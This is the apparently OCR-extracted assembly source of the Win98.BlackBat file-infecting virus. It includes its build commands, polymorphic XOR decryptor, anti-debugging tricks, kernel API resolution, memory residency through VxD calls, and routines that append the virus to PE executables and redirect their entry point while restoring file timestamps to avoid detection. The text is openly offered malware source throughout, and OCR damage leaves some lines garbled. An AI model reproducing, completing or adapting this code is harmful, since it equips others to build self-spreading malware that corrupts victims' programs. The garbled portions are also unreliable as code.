```
Win98.BlackBat
                                                           ===========
           ( )
                         (c) 1999, Rohitab Batra
           (v)
                                                          ( v )
                          <software@rohitab.com>
                              ICQ: 11153794
                         http://www.rohitab.com
    "Blessed is he who expects nothing, for he shall not be disappointed"
;Compiling (Turbo Assembler)
   c:\>tasm32 /ml /m3 /t /w2 /s /p /dDEBUG=1 BlackBat
;Setting DEBUG=0 will compile the virus in Release mode. In this mode, an error
; message will be displayed, so that you don't accidently compile in release mode.
; In Release mode, the size of the Virus will be smaller, and .EXE files will be
; infected, instead of .XYZ files. In Debug mode, the file NOTEPAD.EXE, if found
; in the current directory, will be infected.
;Linking (Turbo Linker)
  c:\>tlink32 /x /Tpe /aa /c BlackBat,BlackBat,,IMPORT32.LIB
; Making Code Section Writable (EditBin from SDK, or any other utility)
; c:\>editbin /SECTION:CODE,w BlackBat.EXE
;***** Info About the Virus *****
;* If WIN.SYS is found in the root directory, the virus does not infect any file,
  and does not become resident.
;* File time and attributes are restored after infection
;* Encrypted with a random key
;* Doesn't infect anti-virus files, NAV, TBAV, SCAN, CLEAN, F-PROT
;* Anti-Debugging Code
;* Structured Exception Handling
;* Decryption engine is Polymorphic
;***** TODO *****
;1. Dont infect files with todays date
;2. Draw Random Bats on the Screen (Use CreateCompatibleBitmap & Get/Set Pixel)
;3. Doesn't infect files in directories with long file names
.386p
.model flat ,stdcall
EXTRN ExitProcess: PROC
                                   ;Any Imported Fn, so that the first
                                   ; generation copy executes without crashing
.data
                                  ;Required for TASM, Else will Crash !!??
                           @MESSAGE BOX Macro
; Description
   -> Displays a MessageBox with the given Message. Note the caption of
      the MessageBox is the same as the Message
; Arguments
   -> szMessage: Message to be displayed
; Return Value:
   -> None
; Registers Destroyed
   -> ALL
@MESSAGE_BOX MACRO szMessage
   IF DEBUG
       @DELTA esi
               eax, esi
               eax, offset szMessage
       add
               esi + MessageBoxA, 0, eax, eax, MB_OK OR MB_ICONINFORMATION
        call
```

```
ENDM
;
                            @DEFINE_API Macro
 Description
   -> Defines an API that will be called by the Virus. The macro is expanded
      to the following, if APIName is MessageBoxA:
      szMessageBoxA DB "MessageBoxA", 0
      MessageBoxA DD ?
; Arguments
   -> APIName: API to be defined. MUST BE EXACTLY the same as exported by
                the DLL. e.g. MessageBoxA
; Return Value:
   -> None
; Registers Destroyed
   -> None
@DEFINE_API MACRO APIName
   sz&APIName DB "&APIName", 0 ;;ASCIIZ Name of API &APIName DD ? ;;Storage space for API Address
;
                                @DELTA Macro
   -> Returns the delta offset in the specified register
; Arguments
   -> Register: register in which the value of the delta offset is copied
; Return Value:
   -> Register: Delta Offset
; Registers Destroyed
   -> Register
@DELTA MACRO Register
   LOCAL GetIP
                                                 ;; This will push EIP on the stack
   call
           GetIP
   pop Register
                                                 ;; get EIP of current instruction
          Register, offset GetIP
                                                 ;;Delta Offset
F:NDM
;
;
                              @OFFSET Macro
; Description
   -> Returns the true offset of the specified address. Unlike the offset
      keyword, which calculates the address at assembly time, this macro
      calculates the address at run-time. This is used to get the correct
      offset when the virus has been relocated. Instead of using instructions
      like "mov esi, offset szFilename", use "@OFFSET esi, szFilename"
; Arguments
   -> Register: register in which the offset is to be returned
   -> Expression: expression whose offset is required
; Return Value:
   -> Register: Correct offset of Expression
; Registers Destroyed
```

```
@OFFSET MACRO Register, Expression
   LOCAL GetIP
          GetIP
   call
                                                     ;; This will push EIP on the stack
GetIP:
   pop Register ;;get EIP of curre
add Register, offset Expression - offset GetIP ;;True offset
                                                     ;;get EIP of current instruction
ENDM
;
                           @GET_API_ADDRESS Macro
;
; Description
   -> Gets the address of the API, and stores it
; Arguments
   -> APIName: API whose address is required
-> ESI: Delta Offset
                  Address of GetProcAddress(...)
   -> EBX:
   -> ECX:
                   Base address of DLL which exports the API
; Return Value:
   -> None
; Registers Destroyed
  -> All Except ESI, EBX and ECX
@GET_API_ADDRESS MACRO APIName
          ebx
   push
                                            ;;Save Addr of GetProcAddress(...)
   push
           ecx
                                             ;;Save Image Base
   mov eax, esi add eax, offset sz&APIName
                                        ;;API whose address is required
   call
                                            ;;GetProcAddress(...)
          ebx, ecx, eax
   pop
           ecx
                                            ;;Restore Image Base
   pop
           ebx
                                             ;;Restore Addr of GetProcAddress(...)
           [esi + APIName], eax
                                            ;;Save API Address
   mov
ENDM
;
      @TRY_BEGIN, @TRY_EXCEPT and @TRY_END Exception Handling Macros
; Description
    -> @TRY BEGIN: This macro is used to install the exception handler. The
                   code that follows this is the one that is checked for
                   exceptions
      @TRY_EXCEPT: The code that follows this is executed if an exception
                    occurs.
       @TRY_END: This is used to mark the end of the TRY block
 Example
       @TRY_BEGIN ZeroMemory
           <CODE1: Code to check for exceptions goes here>
        @TRY_CATCH ZeroMemory
            <CODE2: Gets executed if an exception occurs in CODE1>
        @TRY_END ZeroMemory
; Arguments
   -> Handler: Name of the exception handler. MUST BE UNIQUE throughout the
               program
; Return Value:
   -> None
 Registers Destroyed
   -> If an exception occurs, all registers are restored to the state before
      the @TRY_BEGIN block, otherwise, no registers are modified
```

-> Register

```
@TRY_BEGIN MACRO Handler
   pushad
                                      ;;Save Current State
   @OFFSET esi, Handler
                                      ;;Address of New Exception Handler
   push
          esi
   push
         dword ptr fs:[0]
                                     ;;Save Old Exception Handler
   mov
         dword ptr fs:[0], esp
                                     ;;Install New Handler
ENDM
@TRY_EXCEPT MACRO Handler
 jmp NoException&Handler
                                      ;; No Exception Occured, so jump over
Handler:
          esp, [esp + 8]
                                     ;; Exception Occured, Get old ESP
   mov
        dword ptr fs:[0]
                                     ;; Restore Old Exception Handler
   pop
           esp, 4
                                     ;; ESP value before SEH was set
   add
   popad
                                      ;;Restore Old State
ENDM
@TRY_END MACRO Handler
   jmp ExceptionHandled&Handler ;:Exception was handled by @TRY_EXCEPT xception&Handler: ;:No Exception Occurred
NoException&Handler:
   esp, 32 + 4
                                     ;; ESP value before SEH was set. 32 for pushad and ...
   add
                                     ;;...4 for push offset Handler. (No Restore State)
                                      ;; Exception has been handled, or no exception occured
ExceptionHandled&Handler:
ENDM
;+--
;
;
                         @CALL_INT21h Macro
;+-----
 Description
   -> Makes an INT 21h Call in Protected Mode
; Arguments
  -> Service: INT 21h Service Number
; Return Value:
   -> None
; Registers Destroyed
  -> Depends on Service called
@CALL_INT21h MACRO Service
                                     ;;INT 21h Service
   mov eax, Service
   @DELTA esi
   call esi + VxDCall, VWIN32_Int21Dispatch, eax, ecx
F:NIDM
;
;
                              Constants
                            EQU 00000004h
EQU 0E0000000h
EQU 10000000h ;Section is Sharable
EQU 2000h ;File is a DLL
EQU 000F001Fh
04h ;PE00 = 0x00004550, 4 bytes
;Win32 Constants
   PAGE_READWRITE
   IMAGE_SCN_MEM_SHARED
   IMAGE_FILE_DLL
   FILE_MAP_ALL_ACCESS
   NULL
   TRUE
   FALSE
                                      0
                              EQU
;File Access
                             EQU
                                   80000000h ;Access Mode Read Only 4000000h ;Access Mode Write Only
   GENERIC_READ
                                   ;Access Mode Write Only 00000001h ;Open Share, Deny Write 00000002h ;Open Share, Deny Read
   GENERIC_WRITE
                              EQU
   FILE_SHARE_READ
                             EQU
                             EQU
   FILE_SHARE_WRITE
                                   000000B7h
   INVALID_HANDLE_VALUE
                             EQU
   ERROR_ALREADY_EXISTS
                             EQU
   FILE_ATTRIBUTE_NORMAL
                              EQU
   OPEN_EXISTING
                                                  ;Fail if not found
                              EQU
;Shutdown Options
   EWX FORCE
                              EQU
```

;

;

```
; MessageBox
     MB_OK
                                          EQU
                                                    00000000h
     MB_YESNO
                                          EQU
                                                     00000004h
                                                     00000040h
     MB_ICONINFORMATION
                                          EQU
;Virus_Constants
    ; Value returned if Virus is resident

        D Stuff
        VWIN32_Int21Dispatch
        EQU
        002A0010h

        LFN_OPEN_FILE_EXTENDED
        EQU
        716Ch

        PC_WRITEABLE
        EQU
        00020000h

        PC_USER
        EQU
        00040000h

        PR_SHARED
        EQU
        80060000h

        PC_PRESENT
        EQU
        80000000h

        PC_FIXED
        EQU
        00000000h

        PD_ZEROINIT
        EQU
        00000000h

        SHARED_MEMORY
        EQU
        80000000h
        ;Anything above this is shared

        PageReserve
        EQU
        00010000h

        PageCommit
        EQU
        00010001h

        PAGE_SIZE
        EQU
        4096
        ;Size of a Page in Win9x

; VxD Stuff
;+-----
;
;
;
                                        Structures
;
FILETIME STRUC
     FT_dwLowDateTime DD
     FT_dwHighDateTime DD ?
FILETIME ENDS
                                                     ;DOS .EXE header
IMAGE_DOS_HEADER STRUC
     IDH_e_magic DW ?
                                                     ;Magic number
    IDH_e_cblp DW ?
IDH_e_cp DW ?
IDH_e_crlc DW ?
IDH_e_crlarhdr DW ?
                                                     ;Bytes on last page of file
                                                     ;Pages in file
                                                     ;Relocations
                                                     ;Size of header in paragraphs
     IDH_e_minalloc DW ?
                                                    ;Minimum extra paragraphs needed
    IDH_e_maxalloc DW ?
                                                    ;Maximum extra paragraphs needed
                                                    ;Initial (relative) SS value
                                                     ;Initial SP value
                                                     ;Checksum
                                                     ;Initial IP value
                                                     ;Initial (relative) CS value
                                                    ;File address of relocation table
                                                    ;Overlay number
                                                ;Reserved words
;OEM identifier (for IDH_e_oeminfo)
                                                ;OEM information; IDH_e_oemid specific ;Reserved words
     IDH_e_res2 DW 10 DUP (?)
IDH_e_lfanew DD ?
                                                     ;File address of new exe header
IMAGE_DOS_HEADER ENDS
IMAGE_FILE_HEADER STRUC
    IMAGE_FILE_HEADER ENDS
IMAGE_DATA_DIRECTORY STRUC
     DD ?
     IDD_Size
IMAGE_DATA_DIRECTORY ENDS
IMAGE_OPTIONAL_HEADER STRUC
     ;Standard Fields
```

DW ? ; Mostly 0x010B

EWX_SHUTDOWN

IOH Magic

EQU

```
; Version of the linker used
    IOH_MinorLinkerVersion
                                          DB ?
   IOH_SizeOfCode
                                         DD ?
                                                 ;Size of executable code
                                                 ;Size of Data Segment
    IOH_SizeOfInitializedData
                                         DD ?
                                                 ;Size of bss Segment
   IOH_SizeOfUninitializedData
                                         DD ?
    IOH_AddressOfEntryPoint
                                         DD ?
                                                  ;RVA of code entry point
    IOH_BaseOfCode
                                         DD ?
                                                  ;Offset to executable code
    IOH_BaseOfData
                                         DD ?
                                                  ;Offset to initialized data
    ;NT Additional Fields
    IOH_ImageBase
                                         DD ?
                                                  ;Preferred load address
                                         DD ?
                                                  ;Alignment of Sections in RAM
   IOH_SectionAlignment
   IOH_FileAlignment
                                                  ;Alignment of Sections in File
                                         DD ?
    IOH_MajorOperatingSystemVersion
                                         DW ?
                                                 ;OS Version required to run this image
                                                ;OS Version required to run this image
;OS Version required to run this image
;User specified version number
;User specified version number
;Expected Subsystem version
;Expected Subsystem version
;Mostly set to 0
    IOH_MinorOperatingSystemVersion
                                         DW ?
    IOH_MajorImageVersion
                                         DW ?
    IOH_MinorImageVersion
                                         DW ?
                                         DW ?
    IOH_MajorSubsystemVersion
                                         DW ?
   IOH_MinorSubsystemVersion
                                         DD ?
   IOH_Win32VersionValue
                                         DD ?
                                                 ;Amount of memory the image will need
   IOH SizeOfImage
   IOH SizeOfHeaders
                                         DD ?
                                                 ; Size of DOS hdr, PE hdr and Object table
                                                 ; Checksum (Used by NT to check drivers)
   IOH_CheckSum
                                         DD ?
                                                 ;Subsystem required to run this image
   IOH_Subsystem
                                         DW ?
    IOH_DllCharacteristics
                                         DW ?
                                                  ;To decide when to call DLL's entry point
                                                 ;Size of Reserved Stack
;Size of initially committed stack
;Size of local heap to reserve
                                         DD ?
    IOH_SizeOfStackReserve
    IOH_SizeOfStackCommit
                                         DD ?
    IOH_SizeOfHeapReserve
                                         DD ?
                                                 ;Amount to commit in local heap
   IOH_SizeOfHeapCommit
                                         DD ?
                                         DD ? ;Not generally used
DD ? ;Number of valid entries in DataDirectory
    IOH_LoaderFlags
    IOH_NumberOfRvaAndSizes
                                         IMAGE_DATA_DIRECTORY 16 DUP (?)
    IOH_DataDirectory
IMAGE_OPTIONAL_HEADER ENDS
IMAGE_EXPORT_DIRECTORY STRUC
    IED_Characteristics
                                 DD ?
                                         ;Currently set to 0
                                 DD ?
                                         ;Time/Date the export data was created
   IED_TimeDateStamp
   IED_MajorVersion
                                 DW ?
                                         ;User settable
   IED_MinorVersion
                                 DW ?
                                 DD ?
                                         ;RVA of DLL ASCIIZ name
   IED_Name
                                         ;First valid exported ordinal
   IED_Base
                                DD ?
   ;Number of entries
                                         ; Number of entries exported by name
                                         ;RVA of export address table
;RVA of export name table pointers
                                         ;RVA of export ordinals table entry
    IMAGE_EXPORT_DIRECTORY ENDS
IMAGE_SECTION_HEADER STRUC
   ISH_Name DB 8 DUP (?)
                                          ; NULL padded ASCII string
   UNION
        ISH_PhysicalAddress
        ISH_VirtualSize
                                 DD ?
                                         ;Size that will be allocated when obj is loaded
   ISH_VirtualAddress DD ?
ISH_SizeOfRawData DD ?
ISH_PointerToRawData DD ?
                                         ;RVA to section's data when loaded in RAM
                                         ; Size of sections data rounded to FileAlignment
                                          ;Offset from files beginning to sections data
    ISH_PointerToLinenum

ISH_NumberOfRelocations

TimberOfLinenumbers
    ISH_PointerToLinenumbers
                                 DD ?
                                 DW ?
                                 DW ?
    ISH_Characteristics
                                 DD ?
                                         ;Flags to decide how section should be treated
IMAGE_SECTION_HEADER ENDS
SYSTEMTIME STRUC
   ST_wYear
                                 DW ?
   ST_wMonth
                                 DW ?
   ST_wDayOfWeek
                                 DW ?
   ST_wDay
                                 DW ?
                                 DW ?
   ST_wHour
                                 DW ?
   ST_wMinute
   ST_wSecond
                                 DW ?
    ST_wMilliseconds
SYSTEMTIME ENDS
                      _____
                             Virus Entry Point
```

DB ?

; Version of the linker used

IOH_MajorLinkerVersion

;

```
.code
;Decryptor
StartOfVirusCode:
   call
GetDelta:
  DB 5Eh ;pop esi
DB 83h ;add esi
DB 0C6h
DB offset EncryptedVirusCode - offset GetDelta
DB 0B9h ;mov ecx,
DD ENCRYPTED_SIZE
                                              ;add esi, EncryptedVirusCode - GetDelta
                                             ;mov ecx, ENCRYPTED SIZE
DecryptByte:
   DB 80h
DB 36h
                                             ;xor byte ptr [esi], 00h
EncryptionKey:
   DB 00h
DB 46h
                                             ;inc esi
;dec ecx
   DB
           49h
    jnz DecryptByte
______
;
;
;
                                Data Area
;
            _____
;+------
   dwKernelBase
dwUserBase
dwUserBase
szUser32DLL
DB "USER32", 0

;Base address of KERNEL32.DLL
;Base address of USER32.DLL
;.DLL Extention is not required
;Host File Variables
   hHostFile DD ? ;Handle of host file
hMappedFile DD ? ;Handle of mapped host file
lpHostFile DD ? ;Pointer to mapped host file in memory
ftLastAccessTime FILETIME ? ;Time the file was last accessed
ftLastWriteTime FILETIME ? ;Time the file was last written to
dwFileAttributes DD ? ;File attributes of host file
;Virus Variables
   szNoInfectFileName DB "C:\WIN.SYS", 0 ; If this file exists, machine is not infected
;VxD Stuff
   OldInt30
   ;Semaphore
;KERNEL32 API's
    VxDCall
                                            ; Exported by ordinal only (Ord 1)
                        DD ?
    @DEFINE_API GetProcAddress
    @DEFINE API CloseHandle
    @DEFINE API CreateFileA
    @DEFINE API CreateFileMappingA
    @DEFINE_API GetFileAttributesA
    @DEFINE_API GetFileSize
    @DEFINE_API GetFileTime
    @DEFINE_API GetLocalTime
    @DEFINE_API GetTickCount
    @DEFINE_API LoadLibraryA
    @DEFINE_API MapViewOfFile
    @DEFINE_API SetFileAttributesA
    @DEFINE_API SetFileTime
    @DEFINE_API UnmapViewOfFile
;USER32 API's
    @DEFINE_API ExitWindowsEx
    IF DEBUG
       @DEFINE_API MessageBoxA
   ENDIF
;DEBUG Only Stuff
IF DEBUG
                         DB "NOTEPAD.EXE", 0
   szHostFileName
   szWinMainHandler
                           DB "Unhandled Exception in WinMain", 0
   szPayLoad
                            DB "Happy BirthDay :-)", 0
                            DB "This File is Infected by the BlackBat Virus", 0
   szInfected
ENDIF
```

```
WinMain
              -----+
WinMain PROC
   IFE DEBUG
                                          ;Only for Release Versions
       cli
                                         ;Anti-Debug Code ...
       not
               esp
                                          ; ... will crash if single-stepped
       not
               esp
       sti
   ENDTF
   @TRY_BEGIN WinMain_Handler
                                         ;Putting code in protected block
       call IsVirusActive
               eax, eax
                                          ; Virus Resident ?
       test
             End_WinMain
       jne
                                          ; Yes, return to host
       ;Get Addresses of all Required API's
       call GetAPIAddresses ;Get the addresses of the other API's
                                        ;Error occured ?
       test eax, eax
             End_WinMain
                                         ;Transfer control to host
       jz
       IF DEBUG
           @MESSAGE_BOX szInfected
           @OFFSET ebx, szHostFileName
           call InfectFile, ebx
       ; Check if this Machine is to be Infected
       call CanMachineBeInfected ;Is this my machine
              eax, eax
             End_WinMain
       jz
                                         ;Yes, so don't infect
       ; Relocate Virus (Make Resident)
       call RelocateVirus
       or
                                             ; Virus Relocated?
              eax, eax
              End_WinMain
       jе
                                             ; No
       ;Jump to Relocated Virus Copy
                                                 ;Start of Virus in Non-Relocated Copy
       @OFFSET ebx, StartOfVirusCode
            eax, offset RelocatedVirus - offset StartOfVirusCode
                                             ;Control will go to Relocated Copy
       jmp
               eax
       ; This part is the Relocated Copy of the Virus in Shared Memory
RelocatedVirus:
       ;When a file is infected, the CALL instruction at label ReturnToHost is
       replaced by a JMP XXXXXXXX instruction. Since the virus has been relocated, this JMP instruction will point to some invalid location. We need to modify
       ; this, so that the JMP points to the host program (which was not relocated)
       ;The offset of Calculate Offset Instruction in the non-relocated virus was
       ; saved in EBX before jumping here. Now we calculate the offset in the relocated
       ; virus (this copy).
       @DELTA eax
           esi, eax
                                             ;Save Delta Offset
                                             ;Start of Virus in Relocated Copy
       add
               eax, offset StartOfVirusCode
               eax, ebx
                                             ;Difference in offsets
       sub
       ; We now subtract this difference from the offset specified in the JMP
       ; instruction, and update the JMP instruction to point to the correct location
       ;in memory
               add
                                              ;Fix JMP instruction
       sub
               [esi], eax
            InstallHookProcedure
       call
End WinMain:
   @TRY_EXCEPT WinMain_Handler
       @MESSAGE_BOX szWinMainHandler
   @TRY_END WinMain_Handler
ReturnToHost:
   DB 0E9h, 00, 00, 00, 00
                                      ;JMP instruction used for passing control
                                      ; to the host. The address of this JMP
```

```
; instruction is calculated at run-time
                                         ; Not required, since control is transfered to host
   ;ret
WinMain FNDP
;
                              GetAPIAddresses
;
; Description
  -> Finds the Address of the API's to be used by the virus
; Arguments
   -> None
; Return Value:
   -> EAX: 1, if the API addresses were found, 0 otherwise
; Registers Destroyed
   -> All
GetAPIAddresses PROC
   call GetAddressOfKernelAPI, 1    ;Get Address Of GetProcAddress
   test
           eax, eax
                                        ;Found Address ?
           End_GetAPIAddresses
                                        ;No, Return 0
;Get addresses of all required KERNEL32 API's
;ESI = Delta Offset
;EBX = Address of GetProcAddress(...)
;ECX = Image Base of KERNEL32.DLL
   @DELTA esi
        ebx, eax
ecx, dwKernelBase
                                        ;Address of GetProcAddress(...)
   mov
   mov
                                        ; Base address of KERNEL32.DLL
   @GET_API_ADDRESS CloseHandle
   @GET_API_ADDRESS CreateFileA
   @GET_API_ADDRESS CreateFileMappingA
   @GET_API_ADDRESS GetFileAttributesA
   @GET_API_ADDRESS GetFileSize
   @GET_API_ADDRESS GetFileTime
   @GET_API_ADDRESS GetLocalTime
   @GET_API_ADDRESS GetTickCount
   @GET_API_ADDRESS LoadLibraryA
   @GET_API_ADDRESS MapViewOfFile
   @GET_API_ADDRESS SetFileAttributesA
   @GET API ADDRESS SetFileTime
   @GET_API_ADDRESS UnmapViewOfFile
;Load USER32.DLL
                                            ;Save address of GetProcAddress(...)
   push ebx
          eax, esi
eax, offset szUser32DLL
                                            ;Delta Offset
   mov
                                            ; Name of DLL to be loaded
   add
   call
          esi + LoadLibraryA, eax
          ecx, eax
                                            ;Base address of USER32.DLL
   mov
                                             ; Restore address of GetProcAddress(...)
   pop
           ebx
;Get addresses of all required USER32 API's
;ESI = Delta Offset
;EBX = Address of GetProcAddress(...)
;ECX = Image Base of USER32.DLL
    @GET_API_ADDRESS ExitWindowsEx
   IF DEBUG
        @GET_API_ADDRESS MessageBoxA
   ENDIF
End_GetAPIAddresses:
   ret
GetAPIAddresses ENDP
;
;
                            GetAddressOfKernelAPI
; Description
```

```
-> Finds the address of GetProcAddress or VxDCall API in KERNEL32.DLL. The
      VxDCall API is exported by ordinal only, and the GetProcAddress is
      exported by name.
; Arguments
   -> EDX: offset of the program <---- NOT USED ANYMORE ???
   -> gaoka_wAPIName: If 0, the address of VxDCall is Returned. Else, the address
                      of GetProcAddress is returned.
; Return Value:
   -> EAX: Address of the Required API if Found, Else NULL
; Registers Destroyed
   -> All
GetAddressOfKernelAPI PROC gaoka_wAPIName:WORD
           lpdwAddressOfFunctions:DWORD, \
   LOCAL
            lpdwAddressOfNames:DWORD, \
           lpwAddressOfNameOrdinals: WORD, \
           dwVAIED: DWORD
;Get File Headers
   call
         GetFileHeaders, dwKernelBase
                                                ;Successfully Retreived Headers?
   test
           eax, eax
    jе
           End_GetAddressOfKernelAPI
                                                ; No, probably Windows NT / 2000
   mov
           [dwVAIED], edx
           esi, dwKernelBase
   mov
;Get Address of Functions
   mov
        ecx, [dwVAIED]
   mov
          eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfFunctions
                                                       ; VA of Address of functions
   add
          eax, esi
   mov
          dword ptr [lpdwAddressOfFunctions], eax
; Check which API is Required
           [gaoka_wAPIName], 0
                                       ; Return Address of VxDCall or GetProcAddress ?
   cmp
           GetProcAddressRequired
                                       ;GetProcAddress
    jne
Get Address of VxDCall API (Ordinal 1)
   xor eax, eax
   inc
                                                            ;Ordinal Regd = 1
           eax
           eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_Base
   sub
                                                            ; Index In Array
    jmp
           GetAddressFromIndex
GetProcAddressRequired:
;Get Address of Names
   mov
           ecx, [dwVAIED]
          eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNames
   mov
   add
                                                       ; VA of Address of Names
          eax, esi
          dword ptr [lpdwAddressOfNames], eax
   mov
;Get Address of Name ordinals
   mov ecx, [dwVAIED]
          eax, (IMAGE EXPORT DIRECTORY [ecx]).IED AddressOfNameOrdinals
   mov
                                                        ; VA of Add of Name Ordinals
   add
          eax, esi
          dword ptr [lpwAddressOfNameOrdinals], eax
   mov
; Find the API index in the AddressOfNames array
         esi
                                            ; Save the base address of KERNEL32
   push
   mov
           eax, esi
                                            ;Also save in EAX
   xor
           ebx, ebx
                                            ;Initialize Index to -1
   dec
           ebx
   mov
           edx, dword ptr [lpdwAddressOfNames]
   @OFFSET esi, szGetProcAddress
                                            ;API to be found
                                            ; Save address in ECX
   mov
          ecx, esi
CheckNextAPI:
                                            ;increment index
   inc
           ebx
           edi, dword ptr [edx + ebx*4]
                                           ;go the the ebx'th index
   mov
   add
           edi, eax
                                            ;get the VA from the RVA
   mov
           esi, ecx
                                            ;get address stored previously
CheckNextByte:
   cmpsb
                                    ; Check Byte
           CheckNextAPI
                                    ; byte did not match, Incorrect API, Check Next One
    jne
    cmp
           byte ptr [edi], 0
                                    ; Have we reached the end-of-string
                                   ;Yes? We've found the API
           FoundAPI
    jе
          CheckNextByte
                                   ; No, Check the next byte
    jmp
```

```
FoundAPI:
   ; EBX contains the index of the function into the array
                                    ;Get the base address of KERNEL32
;Compute the Index
   mov ecx, ebx
           edx, dword ptr [lpwAddressOfNameOrdinals]
   mov
   movzx eax, word ptr [edx + ecx*2]
;Get the Address (EAX = Index, ESI = Kernel32 Base)
GetAddressFromIndex:
        ebx, [lpdwAddressOfFunctions]
    mov
           eax, dword ptr [ebx + eax*4]
                                                   ;RVA of the API
                                                     ; VA of the API
    add
          eax, esi
End GetAddressOfKernelAPI:
GetAddressOfKernelAPI ENDP
;
;
                            OpenAndMapFile
;+-----
; Description
   -> Opens a file from disk, and maps it into memory. The function also
      saves the file modified time and file attributes before opening the
      file. These are later restored by UnmapAndCloseFile
; Arguments
   -> DWORD oamf_szFileName: Pointer to ASCIIZ name of file to be mapped
   -> DWORD oamf_dwAddBytes: Number of bytes by which to increase the file size
; Return Value:
  -> EAX: Starting address of memory where the file has been mapped, or 0
     if an error occured
   -> ECX: Original File Size
; Registers Destroyed
    -> All
OpenAndMapFile PROC oamf_szFileName: DWORD, oamf_dwAddBytes: DWORD
   @DELTA esi
; Save File Attributes, and Clear all attributes
    call    esi + GetFileAttributesA, oamf_szFileName
   mov [esi + dwFileAttributes], eax ;Save File Attributes
call esi + SetFileAttributesA, oamf_szFileName, FILE_ATTRIBUTE_NORMAL
test eax, eax ;File Attributes Set
je End_OpenAndMapFile ;No, Return 0
                                                         ;Save File Attributes
                                                         ; File Attributes Set ?
;Open the file in R/W mode
          esi + CreateFileA, oamf_szFileName, GENERIC_READ OR GENERIC_WRITE, \
       FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL
    cmp eax, INVALID_HANDLE_VALUE ; File Opened ?
    jе
           Error_OpenAndMapFile_Create ;No
           [esi + hHostFile], eax
                                       ; Yes, Save handle of host file
    mov
;Get and Store File Time
    lea      ebx, [esi + ftLastAccessTime]
           ecx, [esi + ftLastWriteTime]
    lea
    call esi + GetFileTime, eax, NULL, ebx, ecx
;Compute the new file size
    call esi + GetFileSize, [esi + hHostFile], NULL
            eax, [oamf_dwAddBytes] ;Compute New File Size
    add
;Map the file
    call esi + CreateFileMappingA, [esi + hHostFile], NULL, PAGE_READWRITE, \
               0, eax, NULL
    test eax, eax
                                                    ;File Mapping Created
          Error_OpenAndMapFile_Mapping
    jz
                                                     ; No
           [esi + hMappedFile], eax
    mov
                                                     ; Yes, Save Handle
;Map View of the File
   call    esi + MapViewOfFile, eax, FILE_MAP_ALL_ACCESS, 0, 0, 0
mov    [esi + lpHostFile], eax    ;Have to say
                                                        ; Have to save Mapped Address
```

```
jnz
          End_OpenAndMapFile
; Error Occured, Close Files, and Restore Attributes
         esi + CloseHandle, [esi + hMappedFile] ; Failed, Close File Mapping
Error_OpenAndMapFile_Mapping:
         esi + CloseHandle, [esi + hHostFile] ;Failed, Close the File
Error_OpenAndMapFile_Create:
   call    esi + SetFileAttributesA, oamf_szFileName, [esi + dwFileAttributes]
          eax, eax
                                               ;Error, Return 0
   xor
End_OpenAndMapFile:
   ret
OpenAndMapFile ENDP
;
;
                        UnmapAndCloseFile
;
 | +----+
; Description
  -> Unmaps the open file and closes the handles associated with it. It
     also restores the original file attributes and file time.
; Arguments
  -> uacf_szFilename: Name of the file that is being unmapped. This is
     used only to restore the file attributes
; Return Value:
  -> None
; Registers Destroyed
   -> All
UnmapAndCloseFile PROC uacf_szFilename:DWORD
;Unmap File
   @DELTA esi
   ;Close File Mapping
;Restore File Time
   lea eax, [esi + ftLastAccessTime]
         ebx, [esi + ftLastWriteTime]
   lea
   call esi + SetFileTime, [esi + hHostFile], NULL, eax, ebx
;Close File
   call esi + CloseHandle, [esi + hHostFile]
                                             ;Close the File
; Restore File Attributes
   call esi + SetFileAttributesA, uacf_szFilename, [esi + dwFileAttributes]
   ret
UnmapAndCloseFile ENDP
;
;
                         InfectFile
;
; Description
  -> Infects the host file with our virus
; Arguments
   -> DWORD if_szFileName: Address of the file to be infected
   -> DWORD if_dwIncFileSize: Size by which the section is 2B increased (Bytes)
   -> DWORD if_dwIncSecSize: Size by which the file is 2B increased (Bytes)
; Return Value:
   -> EAX: 1 if Infected, 0 on Error
; Registers Destroyed
   -> All
InfectFile PROC if_szFileName:DWORD
  LOCAL lpdwLastSection: DWORD, \
```

; File Mapped Successfully ?

eax, eax

test

```
dwVirusBegin:DWORD,
           dwNewEntryRVA:DWORD,
           dwJumpBytes:DWORD, \
           dwIOH:DWORD, \
           dwIncFileSize:DWORD, \
           dwIncSecSize:DWORD, \
           dwDeltaOffset:DWORD
   @DELTA
           esi
   mov
           [dwDeltaOffset], esi
                                       ;Save Delta Offset
; Check if the file can be infected, or not
           CanFileBeInfected, if_szFileName
           eax, eax
   test
                                       ;Can it be infected
           End_InfectFile
                                        ; No
   jz
           [dwIncFileSize], ebx
                                        ;Save Increase in File Size
   mov
           [dwIncSecSize], ecx
                                        ; Save Increase in Section Size
   mov
; Map Host File into Memory
   call
          OpenAndMapFile, if_szFileName, dwIncFileSize
                                        ; File Opened and Mapped Successfully
   test
           eax, eax
           End_InfectFile
                                        ;No, Return Code = 0
   iz
           esi, [dwDeltaOffset]
   mov
           [esi + lpHostFile], eax
                                       ;Save staring address of file
   mov
;Get File Headers
           GetFileHeaders, eax
                                        ;This should not fail, since its already...
   call
                                        ;...called once in CanFileBeInfected
            [dwIOH], ebx
   mov
   mov
           [lpdwLastSection], ecx
; Calculate the Starting of Virus Code in File
           eax, (IMAGE_SECTION_HEADER [ecx]).ISH_PointerToRawData
   mov
   add
            eax, (IMAGE_SECTION_HEADER [ecx]).ISH_SizeOfRawData
   mov
           [dwVirusBegin], eax
                                        ;RVA of New Entry Point in File
; Calculate RVA of New Entry Point
           ebx, [lpdwLastSection]
   mov
   sub
           eax, (IMAGE_SECTION_HEADER [ebx]).ISH_PointerToRawData
   add
           eax, (IMAGE_SECTION_HEADER [ebx]).ISH_VirtualAddress
           [dwNewEntryRVA], eax
   mov
; Calculate Bytes of JMP Instruction
   add
           eax, offset ReturnToHost - offset StartOfVirusCode
   mov
           ebx, [dwIOH]
           eax, (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint
   sub
   add
           eax, 4
   not
   mov
           [dwJumpBytes], eax
                                            ; Save Bytes
;Append the Virus to the host
                                          Copy Virus from Here...
           esi, offset StartOfVirusCode
   mov
           esi, [dwDeltaOffset]
                                            ;since StartOfVirusCode will vary after infection
   add
                                            :...to here
   mov
           edi, [dwVirusBegin]
   mov
           ebx, [dwDeltaOffset]
           edi, [ebx + lpHostFile]
                                           true location to copy to
   add
   mov
